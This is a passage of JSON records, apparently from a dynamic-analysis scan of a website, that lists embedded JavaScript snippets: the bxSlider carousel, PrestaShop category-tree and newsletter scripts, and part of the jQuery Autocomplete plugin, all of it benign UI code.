\",pagerSelector:null,buildPager:null,pagerCustom:null,controls:!0,nextText:\"Next\",prevText:\"Prev\",nextSelector:null,prevSelector:null,autoControls:!1,startText:\"Start\",stopText:\"Stop\",autoControlsCombine:!1,autoControlsSelector:null,auto:!1,pause:4e3,autoStart:!0,autoDirection:\"next\",autoHover:!1,autoDelay:0,minSlides:1,maxSlides:1,moveSlides:0,slideWidth:0,onSliderLoad:function(){},onSlideBefore:function(){},onSlideAfter:function(){},onSlideNext:function(){},onSlidePrev:function(){},onSliderResize:function(){}};t.fn.bxSlider=function(n){if(0==this.length)return this;if(this.length>1)return this.each(function(){t(this).bxSlider(n)}),this;var o={},r=this;e.el=this;var a=t(window).width(),l=t(window).height(),d=function(){o.settings=t.extend({},s,n),o.settings.slideWidth=parseInt(o.settings.slideWidth),o.children=r.children(o.settings.slideSelector),o.children.length<o.settings.minSlides&&(o.settings.minSlides=o.children.length),o.children.length<o.settings.maxSlides&&(o.settings.maxSlides=o.children.length),o.settings.randomStart&&(o.settings.startSlide=Math.floor(Math.random()*o.children.length)),o.active={index:o.settings.startSlide},o.carousel=o.settings.minSlides>1||o.settings.maxSlides>1,o.carousel&&(o.settings.preloadImages=\"all\"),o.minThreshold=o.settings.minSlides*o.settings.slideWidth+(o.settings.minSlides-1)*o.settings.slideMargin,o.maxThreshold=o.settings.maxSlides*o.settings.slideWidth+(o.settings.maxSlides-1)*o.settings.slideMargin,o.working=!1,o.controls={},o.interval=null,o.animProp=\"vertical\"==o.settings.mode?\"top\":\"left\",o.usingCSS=o.settings.useCSS&&\"fade\"!=o.settings.mode&&function(){var t=document.createElement(\"div\"),e=[\"WebkitPerspective\",\"MozPerspective\",\"OPerspective\",\"msPerspective\"];for(var i in e)if(void 0!==t.style[e[i]])return o.cssPrefix=e[i].replace(\"Perspective\",\"\").toLowerCase(),o.animProp=\"-\"+o.cssPrefix+\"-transform\",!0;return!1}(),\"vertical\"==o.settings.mode&&(o.settings.maxSlides=o.settings.minSlides),r.data(\"origStyle\",r.attr(\"style\")),r.children(o.settings.slideSelector).each(function(){t(this).data(\"origStyle\",t(this).attr(\"style\"))}),c()},c=function(){r.wrap('<div class=\"bx-wrapper\"><div class=\"bx-viewport\"></div></div>'),o.viewport=r.parent(),o.loader=t('<div class=\"bx-loading\" />'),o.viewport.prepend(o.loader),r.css({width:\"horizontal\"==o.settings.mode?100*o.children.length+215+\"%\":\"auto\",position:\"relative\"}),o.usingCSS&&o.settings.easing?r.css(\"-\"+o.cssPrefix+\"-transition-timing-function\",o.settings.easing):o.settings.easing||(o.settings.easing=\"swing\"),f(),o.viewport.css({width:\"100%\",overflow:\"hidden\",position:\"relative\"}),o.viewport.parent().css({maxWidth:p()}),o.settings.pager||o.viewport.parent().css({margin:\"0 auto 0px\"}),o.children.css({\"float\":\"horizontal\"==o.settings.mode?\"left\":\"none\",listStyle:\"none\",position:\"relative\"}),o.children.css(\"width\",u()),\"horizontal\"==o.settings.mode&&o.settings.slideMargin>0&&o.children.css(\"marginRight\",o.settings.slideMargin),\"vertical\"==o.settings.mode&&o.settings.slideMargin>0&&o.children.css(\"marginBottom\",o.settings.slideMargin),\"fade\"==o.settings.mode&&(o.children.css({position:\"absolute\",zIndex:0,display:\"none\"}),o.children.eq(o.settings.startSlide).css({zIndex:o.settings.slideZIndex,display:\"block\"})),o.controls.el=t('<div class=\"bx-controls\" />'),o.settings.captions&&P(),o.active.last=o.settings.startSlide==x()-1,o.settings.video&&r.fitVids();var e=o.children.eq(o.settings.startSlide);\"all\"==o.settings.preloadImages&&(e=o.children),o.settings.ticker?o.settings.pager=!1:(o.settings.pager&&T(),o.settings.controls&&C(),o.settings.auto&&o.settings.autoControls&&E(),(o.settings.controls||o.settings.autoControls||o.settings.pager)&&o.viewport.after(o.controls.el)),g(e,h)},g=function(e,i){var s=e.find(\"img, iframe\").length;if(0==s)return i(),void 0;var n=0;e.find(\"img, iframe\").each(function(){t(this).one(\"load\",function(){++n==s&&i()}).each(function(){this.complete&&t(this).load()})})},h=function(){if(o.settings.infiniteLoop&&\"fade\"!=o.settings.mode&&!o.settings.ticker){var e=\"vertical\"==o.settings.mode?o.settings.minSlides:o.settings.maxSlides,i=o.children.slice(0,e).clone().addClass(\"bx-clone\"),s=o.children.slice(-e).clone().addClass(\"bx-clone\");r.append(i).prepend(s)}o.loader.remove(),S(),\"vertical\"==o.settings.mode&&(o.settings.adaptiveHeight=!0),o.viewport.height(v()),r.redrawSlider(),o.settings.onSliderLoad(o.active.index),o.initialized=!0,o.settings.responsive&&t(window).bind(\"resize\",Z),o.settings.auto&&o.settings.autoStart&&H(),o.settings.ticker&&L(),o.settings.pager&&q(o.settings.startSlide),o.settings.controls&&W(),o.settings.touchEnabled&&!o.settings.ticker&&O()},v=function(){var e=0,s=t();if(\"vertical\"==o.settings.mode||o.settings.adaptiveHeight)if(o.carousel){var n=1==o.settings.moveSlides?o.active.index:o.active.index*m();for(s=o.children.eq(n),i=1;i<=o.settings.maxSlides-1;i++)s=n+i>=o.children.length?s.add(o.children.eq(i-1)):s.add(o.children.eq(n+i))}else s=o.children.eq(o.active.index);else s=o.children;return\"vertical\"==o.settings.mode?(s.each(function(){e+=t(this).outerHeight()}),o.settings.slideMargin>0&&(e+=o.settings.slideMargin*(o.settings.minSlides-1))):e=Math.max.apply(Math,s.map(function(){return t(this).outerHeight(!1)}).get()),e},p=function(){var t=\"100%\";return o.settings.slideWidth>0&&(t=\"horizontal\"==o.settings.mode?o.settings.maxSlides*o.settings.slideWidth+(o.settings.maxSlides-1)*o.settings.slideMargin:o.settings.slideWidth),t},u=function(){var t=o.settings.slideWidth,e=o.viewport.width();return 0==o.settings.slideWidth||o.settings.slideWidth>e&&!o.carousel||\"vertical\"==o.settings.mode?t=e:o.settings.maxSlides>1&&\"horizontal\"==o.settings.mode&&(e>o.maxThreshold||e<o.minThreshold&&(t=(e-o.settings.slideMargin*(o.settings.minSlides-1))/o.settings.minSlides)),t},f=function(){var t=1;if(\"horizontal\"==o.settings.mode&&o.settings.slideWidth>0)if(o.viewport.width()<o.minThreshold)t=o.settings.minSlides;else if(o.viewport.width()>o.maxThreshold)t=o.settings.maxSlides;else{var e=o.children.first().width();t=Math.floor(o.viewport.width()/e)}else\"vertical\"==o.settings.mode&&(t=o.settings.minSlides);return t},x=function(){var t=0;if(o.settings.moveSlides>0)if(o.settings.infiniteLoop)t=o.children.length/m();else for(var e=0,i=0;e<o.children.length;)++t,e=i+f(),i+=o.settings.moveSlides<=f()?o.settings.moveSlides:f();else t=Math.ceil(o.children.length/f());return t},m=function(){return o.settings.moveSlides>0&&o.settings.moveSlides<=f()?o.settings.moveSlides:f()},S=function(){if(o.children.length>o.settings.maxSlides&&o.active.last&&!o.settings.infiniteLoop){if(\"horizontal\"==o.settings.mode){var t=o.children.last(),e=t.position();b(-(e.left-(o.viewport.width()-t.width())),\"reset\",0)}else if(\"vertical\"==o.settings.mode){var i=o.children.length-o.settings.minSlides,e=o.children.eq(i).position();b(-e.top,\"reset\",0)}}else{var e=o.children.eq(o.active.index*m()).position();o.active.index==x()-1&&(o.active.last=!0),void 0!=e&&(\"horizontal\"==o.settings.mode?b(-e.left,\"reset\",0):\"vertical\"==o.settings.mode&&b(-e.top,\"reset\",0))}},b=function(t,e,i,s){if(o.usingCSS){var n=\"vertical\"==o.settings.mode?\"translate3d(0, \"+t+\"px, 0)\":\"translate3d(\"+t+\"px, 0, 0)\";r.css(\"-\"+o.cssPrefix+\"-transition-duration\",i/1e3+\"s\"),\"slide\"==e?(r.css(o.animProp,n),r.bind(\"transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd\",function(){r.unbind(\"transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd\"),D()})):\"reset\"==e?r.css(o.animProp,n):\"ticker\"==e&&(r.css(\"-\"+o.cssPrefix+\"-transition-timing-function\",\"linear\"),r.css(o.animProp,n),r.bind(\"transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd\",function(){r.unbind(\"transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd\"),b(s.resetValue,\"reset\",0),N()}))}else{var a={};a[o.animProp]=t,\"slide\"==e?r.animate(a,i,o.settings.easing,function(){D()}):\"reset\"==e?r.css(o.animProp,t):\"ticker\"==e&&r.animate(a,speed,\"linear\",function(){b(s.resetValue,\"reset\",0),N()})}},w=function(){for(var e=\"\",i=x(),s=0;i>s;s++){var n=\"\";o.settings.buildPager&&t.isFunction(o.settings.buildPager)?(n=o.settings.buildPager(s),o.pagerEl.addClass(\"bx-custom-pager\")):(n=s+1,o.pagerEl.addClass(\"bx-default-pager\")),e+='<div class=\"bx-pager-item\"><a href=\"\" data-slide-index=\"'+s+'\" class=\"bx-pager-link\">'+n+\"</a></div>\"}o.pagerEl.html(e)},T=function(){o.settings.pagerCustom?o.pagerEl=t(o.settings.pagerCustom):(o.pagerEl=t('<div class=\"bx-pager\" />'),o.settings.pagerSelector?t(o.settings.pagerSelector).html(o.pagerEl):o.controls.el.addClass(\"bx-has-pager\").append(o.pagerEl),w()),o.pagerEl.on(\"click\",\"a\",I)},C=function(){o.controls.next=t('<a class=\"bx-next\" href=\"\">'+o.settings.nextText+\"</a>\"),o.controls.prev=t('<a class=\"bx-prev\" href=\"\">'+o.settings.prevText+\"</a>\"),o.controls.next.bind(\"click\",y),o.controls.prev.bind(\"click\",z),o.settings.nextSelector&&t(o.settings.nextSelector).append(o.controls.next),o.settings.prevSelector&&t(o.settings.prevSelector).append(o.controls.prev),o.settings.nextSelector||o.settings.prevSelector||(o.controls.directionEl=t('<div class=\"bx-controls-direction\" />'),o.controls.directionEl.append(o.controls.prev).append(o.controls.next),o.controls.el.addClass(\"bx-has-controls-direction\").append(o.controls.directionEl))},E=function(){o.controls.start=t('<div class=\"bx-controls-auto-item\"><a class=\"bx-start\" href=\"\">'+o.settings.startText+\"</a></div>\"),o.controls.stop=t('<div class=\"bx-controls-auto-item\"><a class=\"bx-stop\" href=\"\">'+o.settings.stopText+\"</a></div>\"),o.controls.autoEl=t('<div class=\"bx-controls-auto\" />'),o.controls.autoEl.on(\"click\",\".bx-start\",k),o.controls.autoEl.on(\"click\",\".bx-stop\",M),o.settings.autoControlsCombine?o.controls.autoEl.append(o.controls.start):o.controls.autoEl.append(o.controls.start).append(o.controls.stop),o.settings.autoControlsSelector?t(o.settings.autoControlsSelector).html(o.controls.autoEl):o.controls.el.addClass(\"bx-has-controls-auto\").append(o.controls.autoEl),A(o.settings.autoStart?\"stop\":\"start\")},P=function(){o.children.each(function(){var e=t(this).find(\"img:first\").attr(\"title\");void 0!=e&&(\"\"+e).length&&t(this).append('<div class=\"bx-caption\"><span>'+e+\"</span></div>\")})},y=function(t){o.settings.auto&&r.stopAuto(),r.goToNextSlide(),t.preventDefault()},z=function(t){o.settings.auto&&r.stopAuto(),r.goToPrevSlide(),t.preventDefault()},k=function(t){r.startAuto(),t.preventDefault()},M=function(t){r.stopAuto(),t.preventDefault()},I=function(e){o.settings.auto&&r.stopAuto();var i=t(e.currentTarget),s=parseInt(i.attr(\"data-slide-index\"));s!=o.active.index&&r.goToSlide(s),e.preventDefault()},q=function(e){var i=o.children.length;return\"short\"==o.settings.pagerType?(o.settings.maxSlides>1&&(i=Math.ceil(o.children.length/o.settings.maxSlides)),o.pagerEl.html(e+1+o.settings.pagerShortSeparator+i),void 0):(o.pagerEl.find(\"a\").removeClass(\"active\"),o.pagerEl.each(function(i,s){t(s).find(\"a\").eq(e).addClass(\"active\")}),void 0)},D=function(){if(o.settings.infiniteLoop){var t=\"\";0==o.active.index?t=o.children.eq(0).position():o.active.index==x()-1&&o.carousel?t=o.children.eq((x()-1)*m()).position():o.active.index==o.children.length-1&&(t=o.children.eq(o.children.length-1).position()),t&&(\"horizontal\"==o.settings.mode?b(-t.left,\"reset\",0):\"vertical\"==o.settings.mode&&b(-t.top,\"reset\",0))}o.working=!1,o.settings.onSlideAfter(o.children.eq(o.active.index),o.oldIndex,o.active.index)},A=function(t){o.settings.autoControlsCombine?o.controls.autoEl.html(o.controls[t]):(o.controls.autoEl.find(\"a\").removeClass(\"active\"),o.controls.autoEl.find(\"a:not(.bx-\"+t+\")\").addClass(\"active\"))},W=function(){1==x()?(o.controls.prev.addClass(\"disabled\"),o.controls.next.addClass(\"disabled\")):!o.settings.infiniteLoop&&o.settings.hideControlOnEnd&&(0==o.active.index?(o.controls.prev.addClass(\"disabled\"),o.controls.next.removeClass(\"disabled\")):o.active.index==x()-1?(o.controls.next.addClass(\"disabled\"),o.controls.prev.removeClass(\"disabled\")):(o.controls.prev.removeClass(\"disabled\"),o.controls.next.removeClass(\"disabled\")))},H=function(){o.settings.autoDelay>0?setTimeout(r.startAuto,o.settings.autoDelay):r.startAuto(),o.settings.autoHover&&r.hover(function(){o.interval&&(r.stopAuto(!0),o.autoPaused=!0)},function(){o.autoPaused&&(r.startAuto(!0),o.autoPaused=null)})},L=function(){var e=0;if(\"next\"==o.settings.autoDirection)r.append(o.children.clone().addClass(\"bx-clone\"));else{r.prepend(o.children.clone().addClass(\"bx-clone\"));var i=o.children.first().position();e=\"horizontal\"==o.settings.mode?-i.left:-i.top}b(e,\"reset\",0),o.settings.pager=!1,o.settings.controls=!1,o.settings.autoControls=!1,o.settings.tickerHover&&!o.usingCSS&&o.viewport.hover(function(){r.stop()},function(){var e=0;o.children.each(function(){e+=\"horizontal\"==o.settings.mode?t(this).outerWidth(!0):t(this).outerHeight(!0)});var i=o.settings.speed/e,s=\"horizontal\"==o.settings.mode?\"left\":\"top\",n=i*(e-Math.abs(parseInt(r.css(s))));N(n)}),N()},N=function(t){speed=t?t:o.settings.speed;var e={left:0,top:0},i={left:0,top:0};\"next\"==o.settings.autoDirection?e=r.find(\".bx-clone\").first().position():i=o.children.first().position();var s=\"horizontal\"==o.settings.mode?-e.left:-e.top,n=\"horizontal\"==o.settings.mode?-i.left:-i.top,a={resetValue:n};b(s,\"ticker\",speed,a)},O=function(){o.touch={start:{x:0,y:0},end:{x:0,y:0}},o.viewport.bind(\"touchstart\",X)},X=function(t){if(o.working)t.preventDefault();else{o.touch.originalPos=r.position();var e=t.originalEvent;o.touch.start.x=e.changedTouches[0].pageX,o.touch.start.y=e.changedTouches[0].pageY,o.viewport.bind(\"touchmove\",Y),o.viewport.bind(\"touchend\",V)}},Y=function(t){var e=t.originalEvent,i=Math.abs(e.changedTouches[0].pageX-o.touch.start.x),s=Math.abs(e.changedTouches[0].pageY-o.touch.start.y);if(3*i>s&&o.settings.preventDefaultSwipeX?t.preventDefault():3*s>i&&o.settings.preventDefaultSwipeY&&t.preventDefault(),\"fade\"!=o.settings.mode&&o.settings.oneToOneTouch){var n=0;if(\"horizontal\"==o.settings.mode){var r=e.changedTouches[0].pageX-o.touch.start.x;n=o.touch.originalPos.left+r}else{var r=e.changedTouches[0].pageY-o.touch.start.y;n=o.touch.originalPos.top+r}b(n,\"reset\",0)}},V=function(t){o.viewport.unbind(\"touchmove\",Y);var e=t.originalEvent,i=0;if(o.touch.end.x=e.changedTouches[0].pageX,o.touch.end.y=e.changedTouches[0].pageY,\"fade\"==o.settings.mode){var s=Math.abs(o.touch.start.x-o.touch.end.x);s>=o.settings.swipeThreshold&&(o.touch.start.x>o.touch.end.x?r.goToNextSlide():r.goToPrevSlide(),r.stopAuto())}else{var s=0;\"horizontal\"==o.settings.mode?(s=o.touch.end.x-o.touch.start.x,i=o.touch.originalPos.left):(s=o.touch.end.y-o.touch.start.y,i=o.touch.originalPos.top),!o.settings.infiniteLoop&&(0==o.active.index&&s>0||o.active.last&&0>s)?b(i,\"reset\",200):Math.abs(s)>=o.settings.swipeThreshold?(0>s?r.goToNextSlide():r.goToPrevSlide(),r.stopAuto()):b(i,\"reset\",200)}o.viewport.unbind(\"touchend\",V)},Z=function(){var e=t(window).width(),i=t(window).height();(a!=e||l!=i)&&(a=e,l=i,r.redrawSlider(),o.settings.onSliderResize.call(r,o.active.index))};return r.goToSlide=function(e,i){if(!o.working&&o.active.index!=e)if(o.working=!0,o.oldIndex=o.active.index,o.active.index=0>e?x()-1:e>=x()?0:e,o.settings.onSlideBefore(o.children.eq(o.active.index),o.oldIndex,o.active.index),\"next\"==i?o.settings.onSlideNext(o.children.eq(o.active.index),o.oldIndex,o.active.index):\"prev\"==i&&o.settings.onSlidePrev(o.children.eq(o.active.index),o.oldIndex,o.active.index),o.active.last=o.active.index>=x()-1,o.settings.pager&&q(o.active.index),o.settings.controls&&W(),\"fade\"==o.settings.mode)o.settings.adaptiveHeight&&o.viewport.height()!=v()&&o.viewport.animate({height:v()},o.settings.adaptiveHeightSpeed),o.children.filter(\":visible\").fadeOut(o.settings.speed).css({zIndex:0}),o.children.eq(o.active.index).css(\"zIndex\",o.settings.slideZIndex+1).fadeIn(o.settings.speed,function(){t(this).css(\"zIndex\",o.settings.slideZIndex),D()});else{o.settings.adaptiveHeight&&o.viewport.height()!=v()&&o.viewport.animate({height:v()},o.settings.adaptiveHeightSpeed);var s=0,n={left:0,top:0};if(!o.settings.infiniteLoop&&o.carousel&&o.active.last)if(\"horizontal\"==o.settings.mode){var a=o.children.eq(o.children.length-1);n=a.position(),s=o.viewport.width()-a.outerWidth()}else{var l=o.children.length-o.settings.minSlides;n=o.children.eq(l).position()}else if(o.carousel&&o.active.last&&\"prev\"==i){var d=1==o.settings.moveSlides?o.settings.maxSlides-m():(x()-1)*m()-(o.children.length-o.settings.maxSlides),a=r.children(\".bx-clone\").eq(d);n=a.position()}else if(\"next\"==i&&0==o.active.index)n=r.find(\"> .bx-clone\").eq(o.settings.maxSlides).position(),o.active.last=!1;else if(e>=0){var c=e*m();n=o.children.eq(c).position()}if(\"undefined\"!=typeof n){var g=\"horizontal\"==o.settings.mode?-(n.left-s):-n.top;b(g,\"slide\",o.settings.speed)}}},r.goToNextSlide=function(){if(o.settings.infiniteLoop||!o.active.last){var t=parseInt(o.active.index)+1;r.goToSlide(t,\"next\")}},r.goToPrevSlide=function(){if(o.settings.infiniteLoop||0!=o.active.index){var t=parseInt(o.active.index)-1;r.goToSlide(t,\"prev\")}},r.startAuto=function(t){o.interval||(o.interval=setInterval(function(){\"next\"==o.settings.autoDirection?r.goToNextSlide():r.goToPrevSlide()},o.settings.pause),o.settings.autoControls&&1!=t&&A(\"stop\"))},r.stopAuto=function(t){o.interval&&(clearInterval(o.interval),o.interval=null,o.settings.autoControls&&1!=t&&A(\"start\"))},r.getCurrentSlide=function(){return o.active.index},r.getCurrentSlideElement=function(){return o.children.eq(o.active.index)},r.getSlideCount=function(){return o.children.length},r.redrawSlider=function(){o.children.add(r.find(\".bx-clone\")).outerWidth(u()),o.viewport.css(\"height\",v()),o.settings.ticker||S(),o.active.last&&(o.active.index=x()-1),o.active.index>=x()&&(o.active.last=!0),o.settings.pager&&!o.settings.pagerCustom&&(w(),q(o.active.index))},r.destroySlider=function(){o.initialized&&(o.initialized=!1,t(\".bx-clone\",this).remove(),o.children.each(function(){void 0!=t(this).data(\"origStyle\")?t(this).attr(\"style\",t(this).data(\"origStyle\")):t(this).removeAttr(\"style\")}),void 0!=t(this).data(\"origStyle\")?this.attr(\"style\",t(this).data(\"origStyle\")):t(this).removeAttr(\"style\"),t(this).unwrap().unwrap(),o.controls.el&&o.controls.el.remove(),o.controls.next&&o.controls.next.remove(),o.controls.prev&&o.controls.prev.remove(),o.pagerEl&&o.settings.controls&&o.pagerEl.remove(),t(\".bx-caption\",this).remove(),o.controls.autoEl&&o.controls.autoEl.remove(),clearInterval(o.interval),o.settings.responsive&&t(window).unbind(\"resize\",Z))},r.reloadSlider=function(t){void 0!=t&&(n=t),r.destroySlider(),d()},d(),this}}(jQuery);",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA <contact@prestashop.com>* @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/$(document).ready(function(){\t$('ul.tree.dhtml').hide();\t//to do not execute this script as much as it's called...\tif(!$('ul.tree.dhtml').hasClass('dynamized'))\t{\t\t//add growers to each ul.tree elements\t\t$('ul.tree.dhtml ul').prev().before(\"<span class='grower OPEN'> </span>\");\t\t\t\t//dynamically add the '.last' class on each last item of a branch\t\t$('ul.tree.dhtml ul li:last-child, ul.tree.dhtml li:last-child').addClass('last');\t\t\t\t//collapse every expanded branch\t\t$('ul.tree.dhtml span.grower.OPEN').addClass('CLOSE').removeClass('OPEN').parent().find('ul:first').hide();\t\t$('ul.tree.dhtml').show();\t\t\t\t//open the tree for the selected branch\t\t\t$('ul.tree.dhtml .selected').parents().each( function() {\t\t\t\tif ($(this).is('ul'))\t\t\t\t\ttoggleBranch($(this).prev().prev(), true);\t\t\t});\t\t\ttoggleBranch( $('ul.tree.dhtml .selected').prev(), true);\t\t\t\t//add a fonction on clicks on growers\t\t$('ul.tree.dhtml span.grower').click(function(){\t\t\ttoggleBranch($(this));\t\t});\t\t//mark this 'ul.tree' elements as already 'dynamized'\t\t$('ul.tree.dhtml').addClass('dynamized');\t\t$('ul.tree.dhtml').removeClass('dhtml');\t}});//animate the opening of the branch (span.grower jQueryElement)function openBranch(jQueryElement, noAnimation){\t\tjQueryElement.addClass('OPEN').removeClass('CLOSE');\t\tif(noAnimation)\t\t\tjQueryElement.parent().find('ul:first').show();\t\telse\t\t\tjQueryElement.parent().find('ul:first').slideDown();}//animate the closing of the branch (span.grower jQueryElement)function closeBranch(jQueryElement, noAnimation){\tjQueryElement.addClass('CLOSE').removeClass('OPEN');\tif(noAnimation)\t\tjQueryElement.parent().find('ul:first').hide();\telse\t\tjQueryElement.parent().find('ul:first').slideUp();}//animate the closing or opening of the branch (ul jQueryElement)function toggleBranch(jQueryElement, noAnimation){\tif(jQueryElement.hasClass('OPEN'))\t\tcloseBranch(jQueryElement, noAnimation);\telse\t\topenBranch(jQueryElement, noAnimation);}",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA <contact@prestashop.com>* @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/$(document).ready(function() { $('#newsletter-input').on({ focus: function() { if ($(this).val() == placeholder_blocknewsletter || $(this).val() == msg_newsl) $(this).val(''); }, blur: function() { if ($(this).val() == '') $(this).val(placeholder_blocknewsletter); } });\tvar cssClass = 'alert alert-danger'; if (typeof nw_error != 'undefined' && !nw_error)\t\tcssClass = 'alert alert-success'; if (typeof msg_newsl != 'undefined' && msg_newsl)\t{ $('#columns').prepend('<div class=\"clearfix\"></div><p class=\"' + cssClass + '\"> ' + alert_blocknewsletter + '</p>');\t\t$('html, body').animate({scrollTop: $('#columns').offset().top}, 'slow');\t}});",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/* * Autocomplete - jQuery plugin 1.0.2 * * Copyright (c) 2007 Dylan Verheul, Dan G. Switzer, Anjesh Tuladhar, Jörn Zaefferer * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * * Revision: $Id: jquery.autocomplete.js 6844 2011-06-03 14:46:51Z dMetzger $ * */;(function($) {\t$.fn.extend({\tautocomplete: function(urlOrData, options) {\t\tvar isUrl = typeof urlOrData == \"string\";\t\toptions = $.extend({}, $.Autocompleter.defaults, {\t\t\turl: isUrl ? urlOrData : null,\t\t\tdata: isUrl ? null : urlOrData,\t\t\tdelay: isUrl ? $.Autocompleter.defaults.delay : 10,\t\t\tmax: options && !options.scroll ? 10 : 150\t\t}, options);\t\t\t\t// if highlight is set to false, replace it with a do-nothing function\t\toptions.highlight = options.highlight || function(value) { return value; };\t\t\t\t// if the formatMatch option is not specified, then use formatItem for backwards compatibility\t\toptions.formatMatch = options.formatMatch || options.formatItem;\t\t\t\treturn this.each(function() {\t\t\tnew $.Autocompleter(this, options);\t\t});\t},\tresult: function(handler) {\t\treturn this.bind(\"result\", handler);\t},\tsearch: function(handler) {\t\treturn this.trigger(\"search\", [handler]);\t},\tflushCache: function() {\t\treturn this.trigger(\"flushCache\");\t},\tsetOptions: function(options){\t\treturn this.trigger(\"setOptions\", [options]);\t},\tunautocomplete: function() {\t\treturn this.trigger(\"unautocomplete\");\t}});$.Autocompleter = function(input, options) {\tvar KEY = {\t\tUP: 38,\t\tDOWN: 40,\t\tDEL: 46,\t\tTAB: 9,\t\tRETURN: 13,\t\tESC: 27,\t\tCOMMA: 188,\t\tPAGEUP: 33,\t\tPAGEDOWN: 34,\t\tBACKSPACE: 8\t};\t// Create $ object for input element\tvar $input = $(input).attr(\"autocomplete\", \"off\").addClass(options.inputClass);\tvar timeout;\tvar previousValue = \"\";\tvar cache = $.Autocompleter.Cache(options);\tvar hasFocus = 0;\tvar lastKeyPressCode;\tvar config = {\t\tmouseDownOnSelect: false\t};\tvar select = $.Autocompleter.Select(options, input, selectCurrent, config);\t\tvar blockSubmit;\t\t// prevent form submit in opera when selecting with return key\t$.browser.opera && $(input.form).bind(\"submit.autocomplete\", function() {\t\tif (blockSubmit) {\t\t\tblockSubmit = false;\t\t\treturn false;\t\t}\t});\t\t// only opera doesn't trigger keydown multiple times while pressed, others don't work with keypress at all\t$input.bind(($.browser.opera ? \"keypress\" : \"keydown\") + \".autocomplete\", function(event) {\t\t// track last key pressed\t\tlastKeyPressCode = event.keyCode;\t\tswitch(event.keyCode) {\t\t\t\t\tcase KEY.UP:\t\t\t\tevent.preventDefault();\t\t\t\tif ( select.visible() ) {\t\t\t\t\tselect.prev();\t\t\t\t} else {\t\t\t\t\tonChange(0, true);\t\t\t\t}\t\t\t\tbreak;\t\t\t\t\t\t\tcase KEY.DOWN:\t\t\t\tevent.preventDefault();\t\t\t\tif ( select.visible() ) {\t\t\t\t\tselect.next();\t\t\t\t} else {\t\t\t\t\tonChange(0, true);\t\t\t\t}\t\t\t\tbreak;\t\t\t\t\t\t\tcase KEY.PAGEUP:\t\t\t\tevent.preventDefault();\t\t\t\tif ( select.visible() ) {\t\t\t\t\tselect.pageUp();\t\t\t\t} else {\t\t\t\t\tonChange(0, true);\t\t\t\t}\t\t\t\tbreak;\t\t\t\t\t\t\tcase KEY.PAGEDOWN:\t\t\t\tevent.preventDefault();\t\t\t\tif ( select.visible() ) {\t\t\t\t\tselect.pageDown();\t\t\t\t} else {\t\t\t\t\tonChange(0, true);\t\t\t\t}\t\t\t\tbreak;\t\t\t\t\t\t// matches also semicolon\t\t\tcase options.multiple && $.trim(options.multipleSeparator) == \",\" && KEY.COMMA:\t\t\tcase KEY.TAB:\t\t\tcase KEY.RETURN:\t\t\t\tif( selectCurrent() ) {\t\t\t\t\t// stop default to prevent a form submit, Opera needs special handling\t\t\t\t\tevent.preventDefault();\t\t\t\t\tblockSubmit = true;\t\t\t\t\treturn false;\t\t\t\t}\t\t\t\tbreak;\t\t\t\t\t\t\tcase KEY.ESC:\t\t\t\tselect.hide();\t\t\t\tbreak;\t\t\t\t\t\t\tdefault:\t\t\t\tclearTimeout(timeout);\t\t\t\ttimeout = setTimeout(onChange, options.delay);\t\t\t\tbreak;\t\t}\t}).focus(function(){\t\t// track whether the field has focus, we shouldn't process any\t\t// results if the field no longer has focus\t\thasFocus++;\t}).blur(function() {\t\thasFocus = 0;\t\tif (!config.mouseDownOnSelect) {\t\t\thideResults();\t\t}\t}).click(function() {\t\t// show select when clicking in a focused field\t\tif ( hasFocus++ > 1 && !select.visible() ) {\t\t\tonChange(0, true);\t\t}\t}).bind(\"search\", function() {\t\t// TODO why not just specifying both arguments?\t\tvar fn = (arguments.length > 1) ? arguments[1] : null;\t\tfunction findValueCallback(q, data) {\t\t\tvar result;\t\t\tif( data && data.length ) {\t\t\t\tfor (var i=0; i < data.length; i++) {\t\t\t\t\tif( data[i].result.toLowerCase() == q.toLowerCase() ) {\t\t\t\t\t\tresult = data[i];\t\t\t\t\t\tbreak;\t\t\t\t\t}\t\t\t\t}\t\t\t}\t\t\tif( typeof fn == \"function\" ) fn(result);\t\t\telse $input.trigger(\"result\", result && [result.data, result.value]);\t\t}\t\t$.each(trimWords($input.val()), function(i, value) {\t\t\trequest(value, findValueCallback, findValueCallback);\t\t});\t}).bind(\"flushCache\", function() {\t\tcache.flush();\t}).bind(\"setOptions\", function() {\t\t$.extend(options, arguments[1]);\t\t// if we've updated the data, repopulate\t\tif ( \"data\" in arguments[1] )\t\t\tcache.populate();\t}).bind(\"unautocomplete\", function() 